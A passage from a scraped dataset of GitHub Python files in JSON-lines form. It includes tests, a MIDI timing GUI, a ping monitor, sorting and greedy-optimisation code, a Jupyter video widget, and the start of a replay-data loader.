+= 1\t\t\t\n\n\t\tpast_image_id = image_id\n\n\t\tprint(line)\n\t\tprint(str(line_num) + ' done')\n\t\tline_num += 1\n\nwith open(new_file_name, \"w\") as f:\n\tfor i in range(image_num):\n\t\tline = \"$\".join(DB[i])\n\t\tline.append('\\n')\n\t\tf.write(line)\n\n","repo_name":"sai223/2017-Emotion-Analysis","sub_path":"color_analysis.py","file_name":"color_analysis.py","file_ext":"py","file_size_in_byte":917,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"34741262819","text":"from common.utilities.date_utilities import START_OF_WORLD, END_OF_WORLD\nfrom core.common.business_logic.service_entity_logic.store_helper import StoreHelper\nfrom geoprocessing.business_logic.business_objects.monopoly import Monopoly\nfrom geoprocessing.data_access.core_data_access.data_repository_core import CoreDataRepository\nfrom tests.integration_tests.utilities.data_access_misc_queries import *\nfrom tests.integration_tests.framework.svc_test_collection import ServiceTestCollection\n\n\n__author__ = 'erezrubinstein'\n\n\nclass CoreMonopolyHandlerTestCollection(ServiceTestCollection):\n\n def initialize(self):\n self.user_id = 'test@nexusri.com'\n self.source = \"core_monopoly_handler_test_collection.py\"\n self.context = {\"user_id\": self.user_id, \"source\": self.source}\n\n # create helper vars for this class\n self.store_helper = StoreHelper()\n self.data_repository = CoreDataRepository()\n\n def setUp(self):\n\n # create base data\n self.home_company_id = insert_test_company()\n self.home_store_id = create_store_with_rir(self.home_company_id)\n self.trade_area_id = insert_test_trade_area(self.home_store_id, self.home_company_id)\n\n def tearDown(self):\n\n # delete when ending\n self.mds_access.call_delete_reset_database()\n\n # -------------------------------------- Begin Testing!! -------------------\n\n def test_select_active_monopoly_record(self):\n\n # add a monopoly\n batch_monopolies_list = []\n self.data_repository.insert_monopoly(None, \"Test1\", self.trade_area_id, datetime.now(), batch_monopolies_list)\n\n # get the selected active monopoly and make sure it's correct\n active_monopoly = self.data_repository.select_active_monopoly_record(None, self.trade_area_id, batch_monopolies_list)\n self.test_case.assertEqual(active_monopoly, self._create_monopoly_record(None, self.trade_area_id, batch_monopolies_list[0]))\n\n # close the first, add a second monopoly\n self.data_repository.close_monopoly_record(None, self.trade_area_id, datetime.now(), batch_monopolies_list)\n self.data_repository.insert_monopoly(None, \"Test2\", self.trade_area_id, datetime.now(), batch_monopolies_list)\n\n # get the selected active monopoly and make sure it's the second item\n active_monopoly = self.data_repository.select_active_monopoly_record(None, self.trade_area_id, batch_monopolies_list)\n self.test_case.assertEqual(active_monopoly, self._create_monopoly_record(None, self.trade_area_id, batch_monopolies_list[1]))\n\n def test_insert_close_upsert__basic_stay_closed(self):\n\n # keep track of start/close date\n start_date = datetime(2012, 1, 1)\n end_date = datetime(2013, 1, 1)\n\n # base monopolies list\n batch_monopolies_list = []\n\n # add a monopoly, close it, and save\n self.data_repository.insert_monopoly(None, \"Test1\", self.trade_area_id, start_date, batch_monopolies_list)\n self.data_repository.close_monopoly_record(None, self.trade_area_id, end_date, batch_monopolies_list)\n self.data_repository.batch_upsert_monopolies(self.trade_area_id, batch_monopolies_list)\n\n # query the monopolies and verify that there's only one and that it's closed\n monopolies = select_monopolies(self.trade_area_id)\n self.test_case.assertEqual(monopolies, [self._create_monopoly_dict(\"Test1\", start_date, end_date)])\n\n def test_insert_close_upsert__basic_stay_open(self):\n\n # keep track of start/close dates\n start_date = datetime(2012, 1, 1)\n end_date = datetime(2013, 1, 1)\n\n # base monopolies list\n batch_monopolies_list = []\n\n # add a monopoly, close it, add a second monopoly, and save\n self.data_repository.insert_monopoly(None, \"Test1\", self.trade_area_id, start_date, batch_monopolies_list)\n self.data_repository.close_monopoly_record(None, self.trade_area_id, end_date, batch_monopolies_list)\n self.data_repository.insert_monopoly(None, \"Test2\", self.trade_area_id, end_date, batch_monopolies_list)\n self.data_repository.batch_upsert_monopolies(self.trade_area_id, batch_monopolies_list)\n\n # query the monopolies and verify that there's only one and that it's closed\n monopolies = select_monopolies(self.trade_area_id)\n self.test_case.assertEqual(monopolies, [\n self._create_monopoly_dict(\"Test1\", start_date, end_date),\n self._create_monopoly_dict(\"Test2\", end_date, END_OF_WORLD)\n ])\n\n def test_insert_close_upsert__complex_series(self):\n\n # keep track of start/close dates\n start_date_1 = datetime(2012, 1, 1)\n end_date_1 = datetime(2012, 4, 5)\n start_date_2 = datetime(2012, 7, 8)\n end_date_2 = datetime(2013, 1, 1)\n start_date_3 = datetime(2013, 5, 1)\n\n # base monopolies list\n batch_monopolies_list = []\n\n # add and close several monopolies\n self.data_repository.insert_monopoly(None, \"Test1\", self.trade_area_id, start_date_1, batch_monopolies_list)\n self.data_repository.close_monopoly_record(None, self.trade_area_id, end_date_1, batch_monopolies_list)\n self.data_repository.insert_monopoly(None, \"Test2\", self.trade_area_id, start_date_2, batch_monopolies_list)\n self.data_repository.close_monopoly_record(None, self.trade_area_id, end_date_2, batch_monopolies_list)\n self.data_repository.insert_monopoly(None, \"Test3\", self.trade_area_id, start_date_3, batch_monopolies_list)\n self.data_repository.batch_upsert_monopolies(self.trade_area_id, batch_monopolies_list)\n\n # query the monopolies and verify that there's only one and that it's closed\n monopolies = select_monopolies(self.trade_area_id)\n self.test_case.assertEqual(monopolies, [\n self._create_monopoly_dict(\"Test1\", start_date_1, end_date_1),\n self._create_monopoly_dict(\"Test2\", start_date_2, end_date_2),\n self._create_monopoly_dict(\"Test3\", start_date_3, END_OF_WORLD)\n ])\n\n # ---------------------------- Private Methods ----------------------------\n\n def _create_monopoly_record(self, store_id, trade_area_id, monopoly_dict):\n return Monopoly(store_id, monopoly_dict[\"monopoly_type\"], trade_area_id, monopoly_dict[\"start_date\"], monopoly_dict[\"end_date\"])\n\n def _create_monopoly_dict(self, monopoly_type, start_date, end_date):\n return {\n \"monopoly_type\": monopoly_type,\n \"start_date\": start_date,\n \"end_date\": end_date\n }\n","repo_name":"erezrubinstein/aa","sub_path":"tests/integration_tests/geoprocessing_tests/core_data_access_tests/implementation/core_monopoly_handler_test_collection.py","file_name":"core_monopoly_handler_test_collection.py","file_ext":"py","file_size_in_byte":6595,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"41350872516","text":"# Modules to import\nimport algorithm as time\nfrom mido import MidiFile\nfrom guizero import App, Text, PushButton, TextBox, Picture\n\n# Reads the midi files and returns a list of strings with each being a midi event\ndef readAndPrint(path):\n mid = MidiFile(path)\n list = []\n for i, track in enumerate(mid.tracks):\n #print('Track {}: {}'.format(i, track.name))\n for msg in track:\n #print(msg)\n list.append(str(msg))\n list_final = []\n a = 4\n f = len(list)\n f -= 1\n while a < f:\n list_final.append(list[a])\n a += 1\n return list_final\n\n# Class for the notes to make creating the final list easier\nclass note:\n def __init__(self):\n self.time = 0\n self.type = 0\n\n# Creates a list of class objects with the integer values needed\ndef list_create(string_list):\n temp_string = ''\n temp_list = []\n final_list = []\n a = 0\n temp_time = 0\n temps = []\n i = 0\n while i < len(string_list):\n str = ''\n str = note()\n temps.append(str)\n i += 1\n while a < len(string_list):\n temp_list.append(string_list[a].split('time=')[-1])\n temp_time = int(temp_list[-1])\n temps[a].time = temp_time\n if string_list[a][6] == 'n':\n temps[a].type = 0\n else:\n temps[a].type = 1\n final_list.append(temps[a])\n a += 1\n return final_list\n\n# Creates a list of all the ticks with notes (when the notes start only)\ndef final_list_create(input_list):\n overall = 0\n a = 0\n final = []\n\n while a < len(input_list):\n if input_list[a].type == 0:\n overall = overall + input_list[a].time\n final.append(overall)\n a += 1\n else:\n overall = overall + input_list[a].time\n a += 1\n \n return final\n\n# Removes all the duplicate points\ndef remove_dupes(list):\n res = []\n [res.append(x) for x in list if x not in res]\n return res\n\n# Converts ticks to milliseconds\ndef tick_ms(list, bpm):\n ms = []\n bpm_tick = (6 * 10**7) / bpm\n temp_tick = 0\n temp_ms = 0\n a = 0\n while a < len(list):\n temp_tick = list[a]\n temp_ms = temp_tick * bpm_tick / 96000\n ms.append(temp_ms)\n a += 1\n return ms\n\ndef clean_up_ms(list):\n a = 1\n lis = []\n temp = list[0]\n dif = 0\n while a < len(list):\n dif = list[a] - temp\n if dif < 50:\n a += 1\n else:\n lis.append(list[a])\n temp = list[a]\n a += 1\n return lis\n \n# Class that is for the timing points in the final list\nclass Point:\n def __init__(self):\n self.offset = 0\n self.bpm = float(0)\n self.num = 'None'\n\n# Function setting the offset correctly\ndef offset(list, first):\n list_final = []\n begin = list[0]\n i = 0\n while i < len(list):\n val = list[i] - begin + first\n list_final.append(val)\n i += 1\n\n return list_final\n\n# Function to use the algorithm and Output the timed list\ndef timeList(list, first):\n list0 = offset(list, first)\n list1 = time.go_through_list(list0)\n list2 = []\n i = 0\n\n while i < len(list1):\n apps = Point()\n tup = list1[i]\n apps.offset = int(round(tup[1]))\n apps.bpm = tup[0]\n list2.append(apps)\n i += 1\n \n return list2\n\n# Function calculating the bpm number for the .osu file\ndef calc(bpm):\n num = round((60000 / bpm), 12)\n return num\n\n# Function writing to the .txt file\ndef writeFile(lis, path):\n path_final = path\n f = open(path_final, 'w')\n i = 0\n f.write('[TimingPoints]\\n')\n while i < len(lis):\n bpm = calc(lis[i].bpm)\n temp = ''\n temp = temp + str(lis[i].offset) + ',' + str(bpm) + ',4,2,1,100,1,0\\n'\n f.write(temp)\n i += 1\n\n# Executing the actual program\ndef run_file(first, path, bpm, save):\n list = clean_up_ms(tick_ms(remove_dupes(final_list_create(list_create(readAndPrint(path)))), bpm))\n save1 = save + '.txt'\n writeFile(timeList(list, first), save1)\n message.show()\n text.show()\n\n#run_file()\n\n# GUI CODE\n# CAN BE MOVED TO ANOTHER .PY FILE EVENTUALLY\n# TOO LAZY TO USE MULTIPLE .PY FILES RIGHT NOW\n\napp = App(title=\"midi osu! timer\", height=600, width=500, bg=\"white\")\napp.icon = 'E:\\(midi timing) src\\\\full_icon_time.png'\n\ndef get_file():\n file_name_midi.value = app.select_file(title=\"Select file\", folder=\".\", filetypes=[[\"midi Files\", \"*.mid\"]], save=False, filename=\"\")\n\ndef save_file():\n file_name_txt.value = app.select_file(filetypes=[[\"Text Documents\", \"*.txt*\"], [\"Text documents\", \"*.txt\"]], save=True)\n\n#button = app.select_file(title=\"Select file\", folder=\".\", filetypes=[[\"All files\", \"*.*\"]], save=False, filename=\".mid\")\n\nmessage = Text(app, text=\"\")\nmessage = Text(app, text=\"Enter below the full path of the .midi file\")\nPushButton(app, command=get_file, text=\"Open file\")\nfile_name_midi = Text(app)\n#file_name_midi = TextBox(app, width=50)\n#file_name_midi.text_color = 'black'\n\nmessage = Text(app, text=\"Enter below the offset of the first timing point\")\ninput_box_first = TextBox(app)\ninput_box_first.text_color = 'black'\n\nmessage = Text(app, text=\"\")\n\nmessage = Text(app, text=\"Enter below the bpm that the midii file was recorded at\")\ninput_box_bpm = TextBox(app)\ninput_box_bpm.text_color = 'black'\n\npicture = Picture(app, image=\"E:\\(midi timing) src\\\\midi_pic.png\")\n\ndef start():\n path = str(file_name_midi.value)\n\n number0 = 0\n try:\n number0 = int(input_box_first.value)\n except ValueError:\n print('invalid number')\n \n number1 = 0\n try:\n number1 = int(input_box_bpm.value)\n except ValueError:\n print('invalid number')\n\n #run_file(number0, path, number1, file_name_txt)\n run_file(number0, path, number1, file_name_txt.value)\n\nPushButton(app, command=save_file, text=\"Save file\")\nfile_name_txt = Text(app)\n\nmessage = Text(app, text=\"Click 'Start' to start the timing process\")\nmessage = Text(app, text=\"\")\nbutton = PushButton(app, text=\"Start\", command=start, args=[])\n\ntext = Text(app, text=\"Done!\", size=24)\ntext.hide()\nmessage.hide()\n\napp.display()\n","repo_name":"manmathew/osu--midi-timer","sub_path":"midi osu! timer.py","file_name":"midi osu! timer.py","file_ext":"py","file_size_in_byte":6179,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"12493399867","text":"#!/usr/bin/python3\n\nimport os\nimport platform\nimport subprocess\nimport sys\n\n\ndef fping(fname):\n\ttry:\n\t\t# subprocess = subprocess.Popen(\"echo Hello World\", shell=True, stdout=subprocess.PIPE)\n\t\tresult=subprocess.Popen([\"fping\", \"-f\", fname, \"-t\", \"150\"], stdout=subprocess.PIPE)\n\t\toutput = result.stdout.read()\n\t\treturn output\n\texcept:\n\t\tprint(\"\\n\\n ERROR in fping method!\\n\\n\")\n\ndef printOut(file):\n\tfor j in range(1,10000):\n\t\tfpingResult = fping(file)\n\t\tfpingResultList = fpingResult.splitlines()\n\t\tfor i in fpingResultList:\n\t\t\tresults = i.split()\n\t\t\tthishost = results[0].decode('UTF-8')\n\t\t\tthisresponse = results[2].decode('UTF-8')\n\t\t\tif 'alive' in thisresponse:\n\t\t\t\thostshash[thishost].append(1)\n\t\t\telse:\n\t\t\t\thostshash[thishost].append(0)\n\t\tos.system('clear')\n\t\tprint(\"\\n\")\n\t\tprint(\"|===============================================================|\")\n\t\tprint(\" Welcome to nelliePing v2.0!\")\n\t\tprint(\"|===============================================================|\\n\")\n\t\tprint(\" Host Attempts Answers Average\")\n\t\tprint(\" ---- -------- ------- -------\")\n\t\tfor i in hosts:\n\t\t\tattempts = str(len(hostshash[i]))\n\t\t\tanswers = str(hostshash[i].count(1))\n\t\t\taverage = sum(hostshash[i]) / int(attempts)\n\t\t\tprint(\" \", i + (' '* (28-len(i))), attempts + (' '* (10-len(attempts))), answers + (' '* (10-len(answers))), round(average, 3))\n\n\t\tprint(\"\\n|===============================================================|\")\n\t\tprint(\" Copyright TheWiFiNinja 2021\")\n\t\tprint(\"|===============================================================|\")\n\t\tprint(\"\\n\")\n\t\t\n\nhosts = [ ]\n \nhostshash = {}\n\nargFile = sys.argv[1]\n\nwith open(argFile) as filename:\n\tfor line in filename:\n\t\thosts.append(line.strip())\n\n\nfor i in hosts:\n\thostshash[i] = []\n\nprintOut(argFile)\n\n\n","repo_name":"thewifininja/Scripts","sub_path":"fnPing/Legacy/nping2_old.py","file_name":"nping2_old.py","file_ext":"py","file_size_in_byte":1820,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"12684521674","text":"\r\ndef Insertion_Sort(InputList):\r\n\tfor i in range(1, len(InputList)):\r\n\t\tNext_Element = InputList[i]\r\n\t\tj = i-1\r\n\t\twhile j >=0 and Next_Element < InputList[j] :\r\n\t\t\t\tInputList[j+1] = InputList[j]\r\n\t\t\t\tj -= 1\r\n\t\tInputList[j+1] =Next_Element\r\nn=int(input(\"Please enter the size of list:\"))\r\nInputList=[] \r\nfor i in range(n):\r\n InputList.append(int(input(\"enter%dth element:\"%i)))\r\nInsertion_Sort(InputList)\r\nprint(\"The sorted list is below:\")\r\nprint(InputList)\r\n\r\n\r\n\r\n\r\n ","repo_name":"sayan-ghosh-126/college-assignments-in-python","sub_path":"Insertion_sort.py","file_name":"Insertion_sort.py","file_ext":"py","file_size_in_byte":493,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"40823933792","text":"import unittest\nfrom tests.unit_test_helper.console_test_helper import *\n\n\nclass TestOutput(unittest.TestCase):\n\n def test(self):\n temp_globals, temp_locals, content, output = execfile(\"lab16/ch016_t15_iterating_dict.py\")\n self.assertDictEqual({\n \"Monty Python and the Holy Grail\": \"Great\",\n \"Monty Python's Life of Brian\": \"Good\",\n \"Monty Python's Meaning of Life\": \"Okay\"\n }, temp_locals['movies'])\n expect_output = \"\"\"dict_items([('Monty Python and the Holy Grail', 'Great'), (\"Monty Python's Life of Brian\", 'Good'), (\"Monty Python's Meaning of Life\", 'Okay')])\n\"\"\"\n self.assertEqual(expect_output, output)\n\n\nif __name__ == '__main__':\n unittest.main()\n","repo_name":"wongcyrus/ite3101_introduction_to_programming","sub_path":"tests/lab16/test_ch016_t15_iterating_dict.py","file_name":"test_ch016_t15_iterating_dict.py","file_ext":"py","file_size_in_byte":731,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"61"} +{"seq_id":"37483031934","text":"\"\"\"\nThis class implements 2 * cost scaled greedy algorithm with lazy exact evaluation\n1/2 * approximation\n\"\"\"\nimport logging\nimport numpy as np\nimport sys\nfrom heapq import heappush\nfrom heapq import heappop\n\n\nclass CostScaledLazyGreedy(object):\n \"\"\"\n 2 * cost scaled greedy algorithm implementation using lazy evaluation\n \"\"\"\n def __init__(self, config, init_submodular_func_coverage, submodular_func, cost_func, E, k):\n \"\"\"\n Constructor\n :param config:\n :param submodular_func:\n :param cost_func:\n :param E -- a python set:\n :param k:\n :return:\n \"\"\"\n self.config = config\n self.logger = logging.getLogger(\"so_logger\")\n self.submodular_func = submodular_func\n self.cost_func = cost_func\n self.init_submodular_func_coverage = init_submodular_func_coverage\n self.E = E\n if k == None:\n self.k = len(self.E)\n else:\n self.k = k\n\n def calc_marginal_gain(self, skills_covered, e):\n \"\"\"\n Calculates the marginal gain for adding element e to the current solution sol\n :param sol:\n :param e:\n :return marginal_gain:\n \"\"\"\n prev_val, skills_covered = self.submodular_func(skills_covered, [])\n # print('Previous value:',prev_val)\n new_val, skills_covered = self.submodular_func(skills_covered, [e])\n # print('New value:',new_val)\n marginal_gain = new_val - prev_val\n # print('Marginal gain:',marginal_gain)\n return marginal_gain\n\n def initialize_max_heap(self):\n \"\"\"\n Initializes the max heap with elements e with key their score contribution to the empty set\n :return H:\n \"\"\"\n self.H = []\n\n rho = 2\n\n for idx in self.E:\n submodular_score, skills_covered = self.submodular_func(self.skills_covered, [idx])\n # print('Idx:',idx,'Submodular score:',submodular_score,'skills covered:',self.skills_covered)\n # print()\n new_gain = submodular_score - rho * self.cost_func([idx])\n # Do not add an element into the heap if its marginal value is negative\n if new_gain < 0:\n continue\n\n # Multiplying inserted element with -1 to convert to min heap to max\n heappush(self.H, (-1 * new_gain, idx))\n\n def find_lazy_exact_greedy_eval_element(self, skills_covered, k):\n \"\"\"\n Finds the greedy element e to add to the current solution sol\n :param sol:\n :return e:\n \"\"\"\n\n rho = 2\n\n if not self.H:\n return None\n\n heap_size = len(self.H)\n # Perform lazy evaluation of elements in heap H\n for i in range(heap_size):\n # Retrieving top element in the heap and computing its updated gain\n (prev_gain, idx) = heappop(self.H) \n # Multiplying popped element with -1 to convert to its original gain\n prev_gain = -1 * prev_gain\n\n marginal_gain = self.calc_marginal_gain(skills_covered, idx)\n new_scaled_gain = marginal_gain - rho * self.cost_func([idx])\n new_original_gain = marginal_gain - self.cost_func([idx])\n\n # For k == 1 return the top element of the heap with the largest gain if that is positive\n # else return None\n if k == 1:\n if new_original_gain > 0:\n return idx\n else:\n return None\n \n # If there is no element left in the heap\n if not self.H:\n # Return the popped element if the new gain is positive\n if new_original_gain > 0:\n return idx\n else:\n return None\n \n # Retrieving the outdated gain of the next element in the heap\n (next_element_scaled_gain, next_element_idx) = self.H[0]\n # Multiplying popped element with -1 to convert to its original gain\n next_element_scaled_gain = -1 * next_element_scaled_gain\n\n # For k != 1 do lazy exact greedy evaluation\n if new_scaled_gain >= next_element_scaled_gain:\n return idx\n elif new_original_gain >= 0:\n # Multiplying inserted element with -1 to convert to min heap to max\n heappush(self.H, (-1 * new_scaled_gain, idx))\n else:\n # Removing the element from the heap\n continue\n\n # If heap empties and there is no element satisfying the conditions return None\n return None\n\n def scaled_greedy_criterion(self, skills_covered, e):\n \"\"\"\n Calculates the contribution of element e to greedy solution\n :param sol:\n :param e:\n :return greedy_contrib:\n \"\"\"\n # Weight scaling is constant\n rho = 2\n marginal_gain = self.calc_marginal_gain(skills_covered, e)\n weighted_cost = rho * self.cost_func([e])\n greedy_contrib = marginal_gain - weighted_cost\n return greedy_contrib\n \n def original_greedy_criterion(self, skills_covered, e):\n \"\"\"\n Calculates the contribution of element e to greedy solution\n :param sol:\n :param e:\n :return greedy_contrib:\n \"\"\"\n # No weight scaling\n rho = 1\n marginal_gain = self.calc_marginal_gain(skills_covered, e)\n weighted_cost = rho * self.cost_func([e])\n greedy_contrib = marginal_gain - weighted_cost\n return greedy_contrib\n\n def run(self):\n \"\"\"\n Execute algorithm\n :param:\n :return best_sol:\n \"\"\"\n # Keep track of current solution for a given value of k\n curr_sol = []\n # Keep track of the submodular value\n curr_val = 0\n\n # Initialize the submodular function coverage skills\n self.skills_covered = self.init_submodular_func_coverage()\n # print('1 Indices with elements equal to zero:',np.where(self.skills_covered == 0)[0],'Number of indices:',len(np.where(self.skills_covered == 0)[0]))\n # Initialize the max heap for a given value of ks\n self.initialize_max_heap()\n \n for i in range(1, self.k + 1):\n # Greedy element decided wrt scaled objective\n greedy_element = self.find_lazy_exact_greedy_eval_element(self.skills_covered, i)\n\n # If an element is returned it is added to the solution wrt the original objective\n if greedy_element and self.scaled_greedy_criterion(self.skills_covered, greedy_element) >= 0:\n # print('Appending to solution:',curr_sol,'element:',greedy_element)\n curr_sol.append(greedy_element)\n submodular_gain, self.skills_covered = self.submodular_func(self.skills_covered, [greedy_element])\n curr_val += submodular_gain\n # print('Current submodular gain:',submodular_gain,'Indices with elements equal to zero:',np.where(self.skills_covered == 0)[0],'Number of indices:',len(np.where(self.skills_covered == 0)[0]))\n # print()\n\n # Computing the original objective value for current solution\n curr_val = curr_val - self.cost_func(curr_sol)\n self.logger.info(\"Best solution: {}\\nBest value: {}\".format(curr_sol, curr_val))\n\n return curr_sol\n","repo_name":"smnikolakaki/submodular-linear-cost-maximization","sub_path":"submodular_optimization/algorithms/cost_scaled_lazy_greedy.py","file_name":"cost_scaled_lazy_greedy.py","file_ext":"py","file_size_in_byte":7436,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"39791700221","text":"from random import randint\nfrom coach.EggPan.message_Reyn_CUR2 import check_message\nimport os\n\nclass Action(object):\n def __init__(self, render=True):\n self.action = []\n self.act_range = -1\n self.AI_choice = -1\n self.render = render\n\n #该为完全随机数的行动\n def parse(self, msg):\n self.action = msg[\"actionList\"]\n self.act_range = msg[\"indexRange\"]\n if self.render:\n print(self.action)\n print(\"可选动作范围为:0至{}\".format(self.act_range))\n return randint(0, self.act_range)\n\n #该为有AI加持的确定行动\n def parse_AI(self, msg, pos):\n self.action = msg[\"actionList\"]\n self.act_range = msg[\"indexRange\"]\n if self.render:\n print(self.action)\n \n\n #运行AI来确定需要出的牌\n self.AI_choice = check_message(msg, pos)\n #由于没有考虑进贡,故而随机,否则bug\n if self.AI_choice == None:\n return randint(0, self.act_range)\n if self.render:\n print(\"AI选择的出牌编号为:{}\".format(self.AI_choice))\n return self.AI_choice","repo_name":"LSTM-Kirigaya/NUAA-guandan","sub_path":"coach/EggPan/action.py","file_name":"action.py","file_ext":"py","file_size_in_byte":1161,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"61"} +{"seq_id":"35480286461","text":"n = int(input())\n\nfor t in range(n):\n i = input().split()\n h = int(i[0])\n d = int(i[1])\n g = int(i[2])\n\n if 200 <= h <= 300 and d >= 50 and g >= 150:\n print('Sim')\n else:\n print('Nao')\n\n","repo_name":"rodolfoghi/urionlinejudge","sub_path":"python/3040.py","file_name":"3040.py","file_ext":"py","file_size_in_byte":218,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"61"} +{"seq_id":"37639710922","text":"import time\nimport os\n\nimport IPython\nimport ipywidgets\n\nfrom ._version import __version__\n\nfrom .monotext_widget import MonoText\nfrom .video import Video, TimeCode\n\n__all__ = ['Player']\n\n\"\"\"\nCompound video player widget based on my own custom HTML5 video widget combined with various\nbuiltin Jupyter widgets.\n\nAvailable Jupyter widgets:\n Jupyter.BoundedFloatText\n Jupyter.BoundedIntText\n Jupyter.Box\n Jupyter.Button\n Jupyter.ButtonStyle\n Jupyter.Checkbox\n Jupyter.ColorPicker\n Jupyter.Controller\n Jupyter.ControllerAxis\n Jupyter.ControllerButton\n Jupyter.DatePicker\n Jupyter.Dropdown\n Jupyter.FloatProgress\n Jupyter.FloatRangeSlider\n Jupyter.FloatSlider\n Jupyter.FloatText\n Jupyter.HBox\n Jupyter.HTML\n Jupyter.HTMLMath\n Jupyter.Image\n Jupyter.IntProgress\n Jupyter.IntRangeSlider\n Jupyter.IntSlider\n Jupyter.IntText\n Jupyter.Label\n Jupyter.Play\n Jupyter.ProgressStyle\n Jupyter.RadioButtons\n Jupyter.Select\n Jupyter.SelectMultiple\n Jupyter.SelectionSlider\n Jupyter.SliderStyle\n Jupyter.Tab\n Jupyter.Text\n Jupyter.Textarea\n Jupyter.ToggleButton\n Jupyter.ToggleButtons\n Jupyter.VBox\n Jupyter.Valid\n jupyter.DirectionalLink\n jupyter.Link\n\"\"\"\n\n\nclass VideoPlayer(ipywidgets.VBox):\n \"\"\"Compound video player widget\n\n Click the video display to start/stop playback.\n \"\"\"\n def __init__(self, source, timebase=1/30):\n \"\"\"Define a new player instance for supplied source\n \"\"\"\n super().__init__()\n\n # Build the parts\n self._source = source\n self._timebase = timebase\n self.wid_video = Video(source, timebase=timebase)\n\n # Video event handlers\n self.wid_video.on_displayed(self._handle_displayed)\n self.wid_video.on_event(self._handle_loaded_metadata, 'loadedmetadata')\n self.wid_video.on_event(self._handle_duration_change, 'durationchange')\n self.wid_video.on_event(self._handle_rate_change, 'ratechange')\n\n # Define additional widget components\n # self.wid_video.layout.width = '100%' # scale to fit inside parent element\n self.wid_video.layout.align_self = 'center'\n self.wid_video.layout.border = '1px solid grey'\n\n self.wid_timecode = TimeCode(timebase=timebase)\n\n # wid_button = ipywidgets.Button(icon='play') # http://fontawesome.io/icon/pause/\n\n # Progress bar/slider\n self.wid_slider = ipywidgets.FloatSlider(min=0, max=1, step=timebase,\n continuous_update=True, orientation='horizontal',\n readout=False,\n slider_color='blue')\n self.wid_slider.layout.width = '50%'\n\n # Text info\n self.wid_info = MonoText()\n\n # Assemble the parts\n self.wid_box = ipywidgets.HBox(children=[self.wid_timecode, self.wid_slider])\n # self.wid_controls_B = ipywidgets.HBox(children=[self.wid_timecode,\n # self.wid_slider,\n # self.wid_info])\n\n self.children = [self.wid_video, self.wid_box, self.wid_info]\n\n # Link widgets at front end\n # ipywidgets.jsdlink((self.wid_video, 'current_time'), (self.wid_progress, 'value'))\n ipywidgets.jslink((self.wid_video, 'current_time'), (self.wid_slider, 'value'))\n ipywidgets.jsdlink((self.wid_video, 'current_time'), (self.wid_timecode, 'timecode'))\n\n def _update_info(self):\n tpl = \"Source: {} | Timebase: {:.1f} fps | Playback: {}x\"\n\n try:\n rate = self.properties.playbackRate\n except KeyError:\n rate = 1\n\n text = tpl.format(os.path.basename(self._source),\n 1/self._timebase,\n rate)\n\n self.wid_info.text = text\n\n #--------------------------------------------\n def _handle_displayed(self, *args, **kwargs):\n \"\"\"Do stuff that can only be done after widget is displayed\n \"\"\"\n self.wid_video.set_property('controls', False)\n\n def _handle_duration_change(self, wid, properties):\n \"\"\"Update anything that depends on video duration\n \"\"\"\n self.wid_slider.max = properties.duration\n\n def _handle_rate_change(self, wid, properties):\n \"\"\"Update anything that depends on playback rate\n \"\"\"\n self._update_info()\n\n def _handle_loaded_metadata(self, wid, properties):\n \"\"\"Function to be called when sufficient video metadata has been loaded at the frontend\n \"\"\"\n width = properties.videoWidth\n self.wid_video.layout.width = '{}px'.format(width)\n self.layout.width = '{}px'.format(width + 5)\n self.layout.align_self = 'center'\n self._update_info()\n\n def display(self):\n IPython.display.display(self)\n\n @property\n def properties(self):\n return self.wid_video.properties\n\n\n#------------------------------------------------\nif __name__ == '__main__':\n pass\n","repo_name":"Who8MyLunch/Jupyter_Video_Widget","sub_path":"jpy_video/compound.py","file_name":"compound.py","file_ext":"py","file_size_in_byte":5121,"program_lang":"python","lang":"en","doc_type":"code","stars":19,"dataset":"github-code","pt":"61"} +{"seq_id":"10835485618","text":"'''\nlet A be an empty array\nSLINDING-WINDOW(S, x, y)\nn <- |S|\nif n < x then\n do nothing\nelse if n = x then\n append S to A\nelse\n append S[0,...,x] to A\n S <- S[y,...,n]\n SLIDING-WINDOW(S, x, y) \nreturn A\n'''\n\n\nimport sys\n\nA = []\ndef sliding_window_2(s, x, y):\n n = len(s)\n if n < x:\n None\n elif n == x:\n A.append(s)\n else:\n A.append(s[:x])\n s = s[y:]\n sliding_window_2(s, x, y)\n return A\n\n\ninp = sys.stdin.read().splitlines()\nfor e in sliding_window_2(inp[0], int(inp[1]), int(inp[2])):\n print(e)\n","repo_name":"AlessandroGiulivo/prog2","sub_path":"Week 5/X99827_en/sliding_window_2.py","file_name":"sliding_window_2.py","file_ext":"py","file_size_in_byte":564,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"23272676406","text":"#!/usr/bin/env python\r\n# -*- coding: utf-8 -*-\r\n\r\n\" Load features and labels from the replay .pickle files\"\r\n\r\nimport os\r\nimport sys\r\nimport traceback\r\nimport pickle\r\n\r\nimport numpy as np\r\n\r\nimport torch\r\n\r\nfrom torch.utils.data import TensorDataset\r\n\r\nfrom absl import flags\r\nfrom absl import app\r\nfrom tqdm import tqdm\r\n\r\nfrom alphastarmini.core.arch.agent import Agent\r\nfrom alphastarmini.core.sl.feature import Feature\r\nfrom alphastarmini.core.sl.label import Label\r\nfrom alphastarmini.core.sl import sl_utils as SU\r\n\r\n__author__ = \"Ruo-Ze Liu\"\r\n\r\ndebug = False\r\n\r\nFLAGS = flags.FLAGS\r\nflags.DEFINE_string(\"replay_data_path\", \"./data/replay_data/\", \"path to replays_save replay data\")\r\nflags.DEFINE_string(\"save_tensor_path\", \"./data/replay_data_tensor/\", \"path to replays_save replay data tensor\")\r\nFLAGS(sys.argv)\r\n\r\nON_SERVER = False\r\n\r\n\r\ndef print_tensor_list(tensor_list):\r\n for l in 